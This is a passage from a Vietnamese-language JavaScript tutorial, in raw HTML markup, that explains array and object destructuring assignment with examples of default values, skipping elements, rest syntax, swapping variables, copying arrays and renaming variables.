alt="Array destructuring assignment" title="Array destructuring assignment" src="/static/e43a47337056a699a8405931069e2cd0/cd94f/array-destructuring-assignment-completejavascript.com_.png" srcset="/static/e43a47337056a699a8405931069e2cd0/103f2/array-destructuring-assignment-completejavascript.com_.png 165w, /static/e43a47337056a699a8405931069e2cd0/748ba/array-destructuring-assignment-completejavascript.com_.png 330w, /static/e43a47337056a699a8405931069e2cd0/cd94f/array-destructuring-assignment-completejavascript.com_.png 587w" sizes="(max-width: 587px) 100vw, 587px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Đoạn code trên sẽ tương đương với:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"David"</span><span class="token punctuation">,</span> <span class="token string">"Walsh"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> firstName<span class="token punctuation">,</span> lastName<span class="token punctuation">;</span> firstName <span class="token operator">=</span> arr<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span> lastName <span class="token operator">=</span> arr<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span></code></pre></div> <blockquote> <p><strong>Chú ý</strong>: trong trường hợp <strong>số lượng phần tử vế trái nhiều hơn vế phải</strong> thì thành phần thừa ra có giá trị là <strong>undefined</strong>.</p> </blockquote> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token punctuation">[</span>firstName<span class="token punctuation">,</span> lastName<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"David"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">/* * firstName = David * lastName = undefined - vế phải có 1 phần tử nên lastName là undefined */</span></code></pre></div> <p>Để tránh trường hợp này, bạn có thể khai báo giá trị <strong>default</strong> cho biến như dưới đây.</p> <h3 id="khai-báo-giá-trị-default" style="position:relative;"><a href="#khai-b%C3%A1o-gi%C3%A1-tr%E1%BB%8B-default" aria-label="khai báo giá trị default permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khai báo giá trị default</h3> <p>Để khai báo giá trị default (mặc định), bạn sử dụng toán tử gán <code>=</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token punctuation">[</span>firstName<span class="token punctuation">,</span> lastName <span class="token operator">=</span> <span class="token string">"Anonymous"</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"David"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">/* * firstName = David * lastName = Anonymous */</span></code></pre></div> <p>Vế phải có một phần tử nên <code>lastName</code> nhận giá trị mặc định bằng <code>Anonymous</code>.</p> <h3 id="bỏ-qua-một-số-phần-tử-trong-mảng" style="position:relative;"><a href="#b%E1%BB%8F-qua-m%E1%BB%99t-s%E1%BB%91-ph%E1%BA%A7n-t%E1%BB%AD-trong-m%E1%BA%A3ng" aria-label="bỏ qua một số phần tử trong mảng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bỏ qua một số phần tử trong mảng</h3> <p>Trong mảng có thể chứa nhiều phần tử và bạn chỉ muốn lấy ra <strong>một vài giá trị trong đó</strong> thì có thể sử dụng toán tử dấu phẩy <code>,</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token punctuation">[</span>title<span class="token punctuation">,</span> <span class="token punctuation">,</span> <span class="token punctuation">,</span> color<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"window"</span><span class="token punctuation">,</span> <span class="token number">300</span><span class="token punctuation">,</span> <span class="token number">400</span><span class="token punctuation">,</span> <span class="token string">"#000"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">/* * title = "window" * color = "#000" */</span></code></pre></div> <p>Lúc này, phần tử ứng chỉ số <code>1</code> (bằng <code>300</code>) và <code>2</code> (bằng <code>400</code>) bị bỏ qua.</p> <h3 id="gán-các-giá-trị-còn-lại-của-mảng-cho-một-biến-khác" style="position:relative;"><a href="#g%C3%A1n-c%C3%A1c-gi%C3%A1-tr%E1%BB%8B-c%C3%B2n-l%E1%BA%A1i-c%E1%BB%A7a-m%E1%BA%A3ng-cho-m%E1%BB%99t-bi%E1%BA%BFn-kh%C3%A1c" aria-label="gán các giá trị còn lại của mảng cho một biến khác permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Gán các giá trị còn lại của mảng cho một biến khác</h3> <p>Khác với trường hợp trên, ở đây mình lấy ra một phần tử và các phần tử còn lại được gán vào một biến khác, bằng cách sử dụng cú pháp <strong>spread</strong> <code>...</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token punctuation">[</span>title<span class="token punctuation">,</span> <span class="token operator">...</span>others<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"window"</span><span class="token punctuation">,</span> <span class="token number">300</span><span class="token punctuation">,</span> <span class="token number">400</span><span class="token punctuation">,</span> <span class="token string">"#000"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">/* * title = "window" * others = [300, 400, "#000"] */</span></code></pre></div> <p>Khi đó, biến <code>others</code> có giá trị là một mảng các phần tử còn lại.</p> <h3 id="hoán-đổi-giá-trị-của-biến" style="position:relative;"><a href="#ho%C3%A1n-%C4%91%E1%BB%95i-gi%C3%A1-tr%E1%BB%8B-c%E1%BB%A7a-bi%E1%BA%BFn" aria-label="hoán đổi giá trị của biến permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hoán đổi giá trị của biến</h3> <p>Trước khi có destructuring assignment trong JavaScript, bạn có thể <strong>hoán đổi giá trị của hai biến</strong> bằng một số cách sau đây.</p> <p>► <strong>Sử dụng biến trung gian</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// khai báo hai biến a, b</span> <span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">let</span> b <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token comment">// sử dụng biến trung gian c, gán bằng a</span> <span class="token keyword">let</span> c <span class="token operator">=</span> a<span class="token punctuation">;</span> <span class="token comment">// hoán đổi giá trị của a, b thông qua c</span> a <span class="token operator">=</span> b<span class="token punctuation">;</span> b <span class="token operator">=</span> c<span class="token punctuation">;</span> <span class="token comment">/* * a = 2 * b = 1 */</span></code></pre></div> <p>► <strong>Sử dụng tính toán số học</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// khai báo hai biến a, b</span> <span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">let</span> b <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token comment">// cộng dồn b vào a</span> <span class="token comment">// khi đó giá trị mới của a là tổng của a + b</span> a <span class="token operator">=</span> a <span class="token operator">+</span> b<span class="token punctuation">;</span> <span class="token comment">// thực hiện phép trừ để được kết quả</span> b <span class="token operator">=</span> a <span class="token operator">-</span> b<span class="token punctuation">;</span> a <span class="token operator">=</span> a <span class="token operator">-</span> b<span class="token punctuation">;</span> <span class="token comment">/* * a = 2 * b = 1 */</span></code></pre></div> <p>Khi <strong>áp dụng destructuring assignment</strong> trong JavaScript, việc hoán đổi giá trị hai biến trở nên vô cùng đơn giản:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">let</span> b <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token punctuation">[</span>a<span class="token punctuation">,</span> b<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">[</span>b<span class="token punctuation">,</span> a<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">/* * a = 2 * b = 1 */</span></code></pre></div> <p>Ở đây, mình tạo ra một mảng tạm <code>[b, a]</code> ở vế phải. Sau đó, mình sử dụng destructuring assignment để đảo lại giá trị hai biến.</p> <blockquote> <p><strong>Chú ý:</strong> cách hoán đổi trên có thể áp dụng được với nhiều biến (lớn hơn 2).</p> </blockquote> <h3 id="sao-chép-mảng" style="position:relative;"><a href="#sao-ch%C3%A9p-m%E1%BA%A3ng" aria-label="sao chép mảng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sao chép mảng</h3> <p>Mảng trong JavaScript là <strong>kiểu dữ liệu tham chiếu</strong>, nên việc sử dụng toán tử gán <code>=</code> thực chất là <strong>copy địa chỉ</strong>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">const</span> b <span class="token operator">=</span> a<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// [1, 2]</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>b <span class="token operator">===</span> a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <p>Nếu bạn muốn <code>b</code> vẫn có giá trị giống <code>a</code> nhưng <code>b === a</code> là <code>false</code> thì có thể sử dụng destructuring assignment trong JavaScript với cú pháp spread <code>...</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token punctuation">[</span><span class="token operator">...</span>b<span class="token punctuation">]</span> <span class="token operator">=</span> a<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// [1, 2]</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>b <span class="token operator">===</span> a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <h2 id="destructuring-assignment-với-object" style="position:relative;"><a href="#destructuring-assignment-v%E1%BB%9Bi-object" aria-label="destructuring assignment với object permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Destructuring Assignment với Object</h2> <p>Sau đây là những kiến thức cơ bản và ứng dụng của Destructuring Assignment trong JavaScript với Object.</p> <h3 id="cách-sử-dụng-cơ-bản-1" style="position:relative;"><a href="#c%C3%A1ch-s%E1%BB%AD-d%E1%BB%A5ng-c%C6%A1-b%E1%BA%A3n-1" aria-label="cách sử dụng cơ bản 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách sử dụng cơ bản</h3> <p>Ví dụ destructuring assignment với object:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token punctuation">{</span> firstName<span class="token punctuation">,</span> lastName <span class="token punctuation">}</span> <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">firstName</span><span class="token operator">:</span> <span class="token string">"David"</span><span class="token punctuation">,</span> <span class="token literal-property property">lastName</span><span class="token operator">:</span> <span class="token string">"Walsh"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">/* * firstName = David * lastName = Walsh */</span></code></pre></div> <p>Ví dụ trên thực hiện <strong>khai báo và gán</strong> luôn giá trị cho các biến <code>firstName</code> và <code>lastName</code>. Ngoài ra, bạn có thể <strong>tách biệt</strong> việc khai báo và gán như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> firstName<span class="token punctuation">,</span> lastName<span class="token punctuation">;</span> <span class="token punctuation">(</span><span class="token punctuation">{</span> firstName<span class="token punctuation">,</span> lastName <span class="token punctuation">}</span> <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">firstName</span><span class="token operator">:</span> <span class="token string">"David"</span><span class="token punctuation">,</span> <span class="token literal-property property">lastName</span><span class="token operator">:</span> <span class="token string">"Walsh"</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* * firstName = David * lastName = Walsh */</span></code></pre></div> <p>Ở đây, JavaScript thực hiện việc gán giá trị ở <strong>vế phải</strong> cho biến ở <strong>vế trái</strong> tương ứng với giá trị của <strong>key</strong> trong Object mà không phân biệt thứ tự.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 463px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 73.93939393939394%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAABXklEQVQoz42Ti07rMAxA+/8/iBgXCutj7TrWJmkS27Fj1BaxIRh3lqU4ko+fSaFXkrPeI19exXat6nocx1/81njO2aaunna7sizNdA4hXMPqfCzbKbGoKiYJyEACJBGFJWuWdrD7bmoH89bb+mgjpA1eYiPEh8dd3/WqKsyJiFNalJLIErE9dM8vJUQQySmlraLiq0I/nM5P/6KxyiwQM+GnrrAw26Y2LyWOo61qYb7AWfNs/LEZZxNXNhHypiJLEmaeTu7YTs6EU2d5bfAT9t4DwPWcLrKldS7/WEax+c7e/7Ebgkhrqt/g78KSXWQSAUCPEigHSETpLpgSV4fp3A9u9lXz3rTv3dkD/hdeu2JAv9+719fZOn84uKq51U7x7VmuJyEPve1q46w3kz/1jpBvwMIKXimo8GXCItsm18HL7czCikHRL8+KCBEQkWizF4OZb8M5K5NyuvdPXcEfSGVxD7icQt8AAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Object destructuring assignment" title="Object destructuring assignment" src="/static/d1143250ce531dc7d974b7867efd32d1/11b02/object-destructuring-assignment-completejavascript.com_.png" srcset="/static/d1143250ce531dc7d974b7867efd32d1/103f2/object-destructuring-assignment-completejavascript.com_.png 165w, /static/d1143250ce531dc7d974b7867efd32d1/748ba/object-destructuring-assignment-completejavascript.com_.png 330w, /static/d1143250ce531dc7d974b7867efd32d1/11b02/object-destructuring-assignment-completejavascript.com_.png 463w" sizes="(max-width: 463px) 100vw, 463px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Giả sử, mình đổi thứ tự của <code>firstName</code> và <code>lastName</code> như sau thì kết quả vẫn không đổi:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> firstName<span class="token punctuation">,</span> lastName<span class="token punctuation">;</span> <span class="token punctuation">(</span><span class="token punctuation">{</span> lastName<span class="token punctuation">,</span> firstName <span class="token punctuation">}</span> <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">firstName</span><span class="token operator">:</span> <span class="token string">"David"</span><span class="token punctuation">,</span> <span class="token literal-property property">lastName</span><span class="token operator">:</span> <span class="token string">"Walsh"</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* * firstName = David * lastName = Walsh */</span></code></pre></div> <p>Không biết bạn có thắc mắc <strong>tại sao đoạn code thực hiện Destructuring Assignment bên trên phải đặt trong cặp dấu ngoặc đơn</strong> hay không.</p> <p>Vì nếu thiếu cặp dấu <code>()</code> thì sẽ bị lỗi cú pháp.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> firstName<span class="token punctuation">,</span> lastName<span class="token punctuation">;</span> <span class="token punctuation">{</span> lastName<span class="token punctuation">,</span> firstName <span class="token punctuation">}</span> <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">firstName</span><span class="token operator">:</span> <span class="token string">"David"</span><span class="token punctuation">,</span> <span class="token literal-property property">lastName</span><span class="token operator">:</span> <span class="token string">"Walsh"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// Lỗi: Uncaught SyntaxError: Unexpected token =</span></code></pre></div> <p>JavaScript hiểu rằng <strong>cặp dấu ngoặc</strong> đầu tiên là một <strong>block code</strong> (khối code), chứ không phải destructuring assignment.</p> <blockquote> <p>Ví dụ về khối code như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> firstName <span class="token operator">=</span> <span class="token string">"David"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> lastName <span class="token operator">=</span> <span class="token string">"Walsh"</span><span class="token punctuation">;</span> <span class="token comment">// bắt đầu một block code</span> <span class="token punctuation">{</span> <span class="token comment">// biến bên trong trùng tên với bên ngoài nhưng có giá trị khác.</span> <span class="token comment">// vì chúng ở các phạm vi khác nhau.</span> <span class="token keyword">let</span> firstName<span class="token punctuation">,</span> lastName<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>firstName<span class="token punctuation">,</span> lastName<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined undefined</span> <span class="token punctuation">}</span></code></pre></div> </blockquote> <p>Ngoài ra, đoạn code phía trên tương đương với cách làm thông thường như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">firstName</span><span class="token operator">:</span> <span class="token string">"David"</span><span class="token punctuation">,</span> <span class="token literal-property property">lastName</span><span class="token operator">:</span> <span class="token string">"Walsh"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> firstName <span class="token operator">=</span> obj<span class="token punctuation">.</span>firstName<span class="token punctuation">;</span> <span class="token keyword">let</span> lastName <span class="token operator">=</span> obj<span class="token punctuation">.</span>lastName<span class="token punctuation">;</span></code></pre></div> <blockquote> <p><strong>Chú ý</strong>: trong trường hợp object <strong>thiếu thuộc tính</strong> mà bạn muốn lấy ra giá trị thì giá trị đó là <strong>undefined</strong>.</p> </blockquote> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token punctuation">{</span> firstName<span class="token punctuation">,</span> lastName <span class="token punctuation">}</span> <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">firstName</span><span class="token operator">:</span> <span class="token string">"David"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">/* * firstName = David * lastName = undefined - về phải không có thuộc tính lastName */</span></code></pre></div> <p>Để giải quyết vấn đề này, bạn có thể khai báo giá trị <strong>default</strong> (mặc định) như dưới đây.</p> <h3 id="khai-báo-giá-trị-default-1" style="position:relative;"><a href="#khai-b%C3%A1o-gi%C3%A1-tr%E1%BB%8B-default-1" aria-label="khai báo giá trị default 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khai báo giá trị default</h3> <p>Để khai báo giá trị default (mặc định), bạn có thể sử dụng toán tử gán <code>=</code>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token punctuation">{</span> firstName<span class="token punctuation">,</span> lastName <span class="token operator">=</span> <span class="token string">"Anonymous"</span> <span class="token punctuation">}</span> <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">firstName</span><span class="token operator">:</span> <span class="token string">"David"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">/* * firstName = David * lastName = Anonymous - lastName bằng Anonymous vì vế phải không có lastName */</span></code></pre></div> <h3 id="gán-tên-mới-cho-biến" style="position:relative;"><a href="#g%C3%A1n-t%C3%AAn-m%E1%BB%9Bi-cho-bi%E1%BA%BFn" aria-label="gán tên mới cho biến permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Gán tên mới cho biến</h3> <p>Nhiều khi thuộc tính mà bạn muốn thực hiện destructuring assignment ở object <strong>quá dài hoặc tên trùng với một biến khác</strong>.</p> <p>Để ngắn gọn, bạn có thể <strong>đặt tên mới cho biến</strong> khi thực hiện destructuring như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token punctuation">{</span> <span class="token literal-property property">firstName</span><span class="token operator">:</span> fn<span class="token punctuation">,</span> <span class="token literal-property property">lastName</span><span class="token operator">:</span> ln <span class="token punctuation">}</span> <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">firstName</span><span class="token operator">:</span> <span class="token string">"David"</span><span class="token punctuation">,</span> <span class="token literal-property property">lastName</span><span class="token operator">:</span> <span class="token string">"Walsh"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">/* * fn = David * ln = Walsh */</span></code></pre></div> <p>Ý nghĩa đoạn code trên là:</p> <ul> <li>Lấy giá trị của <code>firstName</code> rồi gán giá trị đó vào biến <code>fn</code>.</li> <li>Lấy giá trị của <code>lastName</code> rồi gán giá trị đó vào biến <code>ln</code>.</li> </ul> <p>Để gán giá trị <strong>mặc định</strong> cho biến trong trường hợp này, bạn có thể thực hiện theo cách:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token punctuation">{</span> <span class="token literal-property property">firstName</span><span class="token operator">:</span> fn<span class="token punctuation">,</span> <span class="token literal-property property">lastName</span><span class="token operator">:</span> ln <span class="token operator">=</span> <span class="token string">"Anonymous"</span> <span class="token punctuation">}</span> <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">firstName</span><span class="token operator">:</span> <span class="token string">"David"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">/* * fn = David * ln = Anonymous */</span></code></pre></div> <h3 id="gán-các-giá-trị-còn-lại-của-object-cho-một-biến-khác" style="position:relative;"><a href="#g%C3%A1n-c%C3%A1c-gi%C3%A1-tr%E1%BB%8B-c%C3%B2n-l%E1%BA%A1i-c%E1%BB%A7a-object-cho-m%E1%BB%99t-bi%E1%BA%BFn-kh%C3%A1c" aria-label="gán các giá trị còn lại của object cho một biến khác permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Gán các giá trị còn lại của Object cho một biến khác</h3> <p>Tương tự như mảng, bạn có thể sử dụng <strong>cú pháp 